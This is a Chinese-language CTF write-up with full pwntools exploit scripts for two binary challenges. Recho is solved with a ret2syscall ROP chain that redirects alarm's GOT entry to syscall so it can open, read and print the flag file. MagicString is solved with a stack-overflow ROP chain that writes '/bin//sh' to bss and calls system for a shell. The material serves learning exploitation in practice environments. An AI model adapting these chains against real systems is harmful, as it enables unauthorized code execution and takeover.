经过昨天的Ret2syscall学习,今天就想着找一些ret2syscall的题目来提升一下。
打开题目查看一下保护
然后拖入IDA看下程序逻辑,发现逻辑很简单,就只有一个main,分析下代码
看着是一个很简单的栈溢出,但是read一直为真,也就是程序会一直执行下去,这道题的难点就在于如何让循环停止,百度下知道了在pwntools里有一个shutdown功能,该功能可以关闭流。使程序停止循环。但是关闭后就不能打开,所以我们的ROP要一R到底。
一次性完成所有的操作,可以使用系统调用(syscall)的方法,比较简单的地方在于程序给了我们flag的文件,我们可以利用系统函数读取flag内容然后打印出来。
我们知道open write read alarm
都是系统调用函数,关于系统调用号请到另一篇文章学习系统调用号 。这个程序中已经调用了write read alarm
所以我们缺少open
,open也是系统调用,所以我们只要改变传入的eax,就可以调用open
,我们首先要找到syscall
的地址或调用它的某处地址。
调用open我们可以构造这样的代码来得到flag。
int fd = open("flag",READONLY);
read(fd,buf,100);
printf(buf);
在程序中我们找不到可以直接利用的syscall
但是我们用不到alarm
所以我们可以通过修改alarm
的got
表地址,使其指向syscall
syscall
和alarm
的偏移为固定的0x5,所以我们可以将alarm
的got表加上偏移的0x5个字节指向syscall,然后通过plt来链接alarm的真实地址调用syscall。
ROPgadget --binary ./Recho --only "pop|ret"|grep "rax"
ROPgadget --binary ./Recho --only "pop|ret"|grep "rdx"
ROPgadget --binary ./Recho --only "pop|ret"|grep "rdi"
ROPgadget --binary ./Recho --only "pop|ret"|grep "rsi"
ROPgadget --binary ./Recho --only "add|ret"|grep "al"
我们要做的第一步就是修改alarm的got表内容使其指向syscall,偏移是
0x5
也就是rdi=alarm_got
rax=0x5
第二步就是调用系统函数open
来构造读取flag,open系统调用号为0x2
即rsi参数为null
rdi=flag_add
rax=0x2
第三步调用syscall
通过plt来链接alarm的真实地址 第四步构造read(fd,buf,100)
rdi指向buf
用于存放获取的结果。要注意的是open的文件描述符从3
开始,然后依次增加。 第五步指向read函数,读取获取的结果 第六步使用printf函数打印结果
最终exp
#encoding:utf-8
from pwn import *
context.log_level = 'debug'
#sh = process('./Recho')
elf = ELF('./Recho')
sh = remote('220.249.52.133',55632)
pop_rax = 0x00000000004006fc
pop_rdx = 0x00000000004006fe
pop_rsi = 0x00000000004008a1
pop_rdi = 0x00000000004008a3
bss_add = 0x0000000000601070
rdi_add = 0x000000000040070d
flag_add = 0x0000000000601058
alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
read_plt = elf.plt['read']
printf_plt = elf.plt['printf']
#修改got表内容使其指向syscall
payload = 'a' * 0x38
payload += p64(pop_rdi)
payload += p64(alarm_got)
payload += p64(pop_rax)
payload += p64(0x5)
payload += p64(rdi_add)
# 调用系统函数open
payload += p64(pop_rsi)
payload += p64(0) + p64(0)
payload += p64(pop_rdi)
payload += p64(flag_add)
#open的系统函数调用号位2
payload += p64(pop_rax)
payload += p64(0x2)
#指向syscall的地址,通过plt连接got表来获取真实地址
payload += p64(alarm_plt)
#将读取到的值存放到bss段
payload += p64(pop_rsi) + p64(bss_add) + p64(0)
#open函数的文件描述符从3开始
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rdx)
#最多读取100个字符
payload += p64(100)
#指向read()
payload += p64(read_plt)
#使用printf打印读取的内容
payload += p64(pop_rdi)
payload += p64(bss_add)
payload += p64(printf_plt)
#尽量使字符串长,这样才能将我们的payload全部输进去,不然可能因为会有缓存的问题导致覆盖不完整
payload += payload.ljust(0x200,'\x00')
sh.recvuntil('Welcome to Recho server!\n')
sh.sendline(str(0x200))
sh.sendline(payload)
sh.shutdown('write')
sh.interactive()
做题平台ctf.show 36D杯MagicString
检查程序,发现只开了NX,想着应该是栈溢出了,IDA分析程序
是64为程序,所以偏移位是0x2a0+8
解题思路
算出偏移
0x2a8
将/bin//sh
写入到bss段 然后调用system执行
exp
from pwn import *
#sh = process('./pwn')
sh = remote('111.231.70.44',28052)
#context.log_level = 'debug'
elf = ELF('./pwn')
sys_addr=elf.symbols['system']
gets_plt=elf.plt['gets']
bss_addr =0x0000000000601060
rdi_addr =0x0000000000400733
rsi_r15 = 0x0000000000400731
payload = 'a' * 0x2a8
payload += p64(rdi_addr)
payload += p64(bss_addr)
payload += p64(gets_plt)
payload += p64(rdi_addr)
payload += p64(bss_addr)
payload += p64(sys_addr)
sh.sendline(payload)
sh.sendline('/bin//sh')
sh.interactive()